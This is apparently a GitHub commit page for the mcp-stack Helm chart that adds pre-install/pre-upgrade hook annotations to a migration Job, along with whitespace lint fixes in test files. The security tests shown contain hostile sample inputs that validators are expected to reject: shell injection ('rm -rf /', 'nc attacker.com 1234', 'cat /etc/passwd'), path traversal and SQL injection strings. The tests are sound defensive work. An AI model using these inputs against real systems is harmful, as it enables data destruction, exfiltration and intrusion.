Skip to content

Commit b811e52

Browse files
Update helm chart migration job (#1546)
* feat(helm): add Helm hook annotations to migration Job Add Helm hook annotations to the migration Job template to ensure proper recreation during upgrades and prevent immutable field errors. Changes: - Add helm.sh/hook: pre-install,pre-upgrade to run Job before install/upgrade - Add helm.sh/hook-delete-policy: before-hook-creation,hook-succeeded to remove old Jobs and clean up succeeded ones - Bump chart version to 0.9.1 - Update CHANGELOG with migration job fix details This eliminates upgrade failures caused by Kubernetes rejecting changes to immutable spec.template fields in existing Job resources. Signed-off-by: Mihai Criveti <crivetimihai@gmail.com> * Rebase and lint Signed-off-by: Mihai Criveti <crivetimihai@gmail.com> --------- Signed-off-by: Mihai Criveti <crivetimihai@gmail.com> Co-authored-by: Mihai Criveti <crivetimihai@gmail.com>
1 parent f2183b1 commit b811e52

File tree

5 files changed

+34
-21
lines changed

5 files changed

+34
-21
lines changed

charts/mcp-stack/CHANGELOG.md

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,17 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/)
66

77
---
88

9+
## [0.9.1] - 2025-12-03
10+
11+
### Added
12+
* **Helm Hook Support for Migration Job** - enable recreation of the migration Job on every deployment
13+
- helm.sh/hook: pre-install,pre-upgrade — ensures the migration Job runs automatically during installs and upgrades
14+
- helm.sh/hook-delete-policy: before-hook-creation,hook-succeeded — removes old migration Jobs to prevent immutable field errors
15+
- Eliminates upgrade failures caused by changes to spec.template in Kubernetes Jobs
16+
17+
### Changed
18+
* **Chart version** - Bumped to 0.9.1 for migration job fix
19+
920
## [0.9.0] - 2025-11-05
1021

1122
### Added

charts/mcp-stack/Chart.yaml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,7 @@ type: application
2222
# * appVersion - upstream application version; shown in UIs but not
2323
# used for upgrade logic.
2424
# --------------------------------------------------------------------
25-
version: 0.9.0
25+
version: 0.9.1
2626
appVersion: "0.9.0"
2727

2828
# Icon shown by registries / dashboards (must be an http(s) URL).

charts/mcp-stack/templates/job-migration.yaml

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,11 @@ metadata:
66
labels:
77
{{- include "mcp-stack.labels" . | nindent 4 }}
88
app.kubernetes.io/component: migration
9+
annotations:
10+
# Run this Job before install/upgrade
11+
"helm.sh/hook": pre-install,pre-upgrade
12+
# Delete old Job before new one and clean up succeeded ones
13+
"helm.sh/hook-delete-policy": before-hook-creation,hook-succeeded
914
spec:
1015
# Job configuration
1116
backoffLimit: {{ .Values.migration.backoffLimit }}
@@ -61,16 +66,13 @@ spec:
6166
secretKeyRef:
6267
name: {{ include "mcp-stack.postgresSecretName" . | trim }}
6368
key: POSTGRES_PASSWORD
64-
6569
# ---------- DERIVED URLS ----------
6670
- name: DATABASE_URL
6771
value: >-
6872
postgresql://$(POSTGRES_USER):$(POSTGRES_PASSWORD)@$(POSTGRES_HOST):$(POSTGRES_PORT)/$(POSTGRES_DB)
69-
7073
# ---------- LOGGING ----------
7174
- name: LOG_LEVEL
7275
value: "INFO"
73-
7476
# Resource limits
7577
resources:
7678
{{- toYaml .Values.migration.resources | nindent 12 }}

tests/e2e/test_main_apis.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1966,4 +1966,4 @@ async def test_complete_resource_lifecycle(self, client: AsyncClient, mock_auth)
19661966

19671967
# Also, make sure to set the following environment variables or they will use defaults:
19681968
# export MCPGATEWAY_AUTH_REQUIRED=false # To disable auth in tests
1969-
# Or the tests will override authentication automatically
1969+
# Or the tests will override authentication automatically

tests/security/test_validation.py

Lines changed: 16 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -76,7 +76,7 @@ def test_validate_path_uri_schemes(self):
7676
# HTTP URIs should pass through
7777
result = SecurityValidator.validate_path("http://example.com/file")
7878
assert result == "http://example.com/file"
79-
79+
8080
# Plugin URIs should pass through
8181
result = SecurityValidator.validate_path("plugin://my-plugin/resource")
8282
assert result == "plugin://my-plugin/resource"
@@ -94,7 +94,7 @@ def test_allowed_roots_configuration(self):
9494
# Test with allowed roots
9595
result = SecurityValidator.validate_path("/srv/data/file.txt", ["/srv/data"])
9696
assert "/srv/data" in result
97-
97+
9898
# Test rejection outside allowed roots
9999
with pytest.raises(ValueError, match="outside allowed roots"):
100100
SecurityValidator.validate_path("/tmp/file.txt", ["/srv/data"])
@@ -135,7 +135,7 @@ def test_sanitize_mime_type_verification(self):
135135
# Test valid MIME types
136136
assert SecurityValidator.validate_mime_type("text/plain") == "text/plain"
137137
assert SecurityValidator.validate_mime_type("application/json") == "application/json"
138-
138+
139139
# Test invalid MIME types
140140
with pytest.raises(ValueError, match="Invalid MIME type"):
141141
SecurityValidator.validate_mime_type("invalid")
@@ -146,7 +146,7 @@ def test_sanitize_escape_sequences(self):
146146
result = SecurityValidator.sanitize_text("\x1b[0m\x1b[1;31mText\x1b[0m")
147147
assert "\x1b" not in result
148148
assert result == "Text"
149-
149+
150150
# Test cursor movement sequences
151151
result = SecurityValidator.sanitize_text("Hello\x1b[2JWorld")
152152
assert result == "HelloWorld"
@@ -168,10 +168,10 @@ async def test_middleware_disabled(self):
168168
app = MagicMock()
169169
middleware = ValidationMiddleware(app)
170170
middleware.enabled = False
171-
171+
172172
request = MagicMock()
173173
call_next = AsyncMock(return_value="response")
174-
174+
175175
result = await middleware.dispatch(request, call_next)
176176
assert result == "response"
177177
call_next.assert_called_once()
@@ -181,11 +181,11 @@ async def test_path_traversal_detection(self):
181181
"""Test path traversal detection."""
182182
app = MagicMock()
183183
middleware = ValidationMiddleware(app)
184-
184+
185185
# Test path traversal patterns
186186
with pytest.raises(Exception, match="Path traversal"):
187187
middleware.validate_resource_path("../../../etc/passwd")
188-
188+
189189
with pytest.raises(Exception, match="Path traversal"):
190190
middleware.validate_resource_path("/srv/data/../../secret.txt")
191191

@@ -197,10 +197,10 @@ async def test_command_injection_prevention(self):
197197
mock_settings.validation_strict = True
198198
with pytest.raises(ValueError, match="shell metacharacters"):
199199
SecurityValidator.validate_shell_parameter("file.jpg; cat /etc/passwd")
200-
200+
201201
with pytest.raises(ValueError, match="shell metacharacters"):
202202
SecurityValidator.validate_shell_parameter("file.jpg && rm -rf /")
203-
203+
204204
with pytest.raises(ValueError, match="shell metacharacters"):
205205
SecurityValidator.validate_shell_parameter("file.jpg | nc attacker.com 1234")
206206

@@ -210,11 +210,11 @@ async def test_output_sanitization(self):
210210
# Test control character removal
211211
result = SecurityValidator.sanitize_text("Hello\x1b[31mWorld\x00")
212212
assert result == "HelloWorld"
213-
213+
214214
# Test ANSI escape sequence removal
215215
result = SecurityValidator.sanitize_text("\x1b[1;31mRed Text\x1b[0m")
216216
assert result == "Red Text"
217-
217+
218218
# Test preserving newlines and tabs
219219
result = SecurityValidator.sanitize_text("Line1\nLine2\tTab")
220220
assert result == "Line1\nLine2\tTab"
@@ -224,13 +224,13 @@ async def test_sql_injection_prevention(self):
224224
"""Test SQL injection prevention."""
225225
with patch('mcpgateway.common.validators.config_settings') as mock_settings:
226226
mock_settings.validation_strict = True
227-
227+
228228
# Test SQL injection patterns
229229
with pytest.raises(ValueError, match="SQL injection"):
230230
SecurityValidator.validate_sql_parameter("'; DROP TABLE users; --")
231-
231+
232232
with pytest.raises(ValueError, match="SQL injection"):
233233
SecurityValidator.validate_sql_parameter("1' OR '1'='1")
234-
234+
235235
with pytest.raises(ValueError, match="SQL injection"):
236-
SecurityValidator.validate_sql_parameter("admin'--")
236+
SecurityValidator.validate_sql_parameter("admin'--")

0 commit comments

Comments
 (0)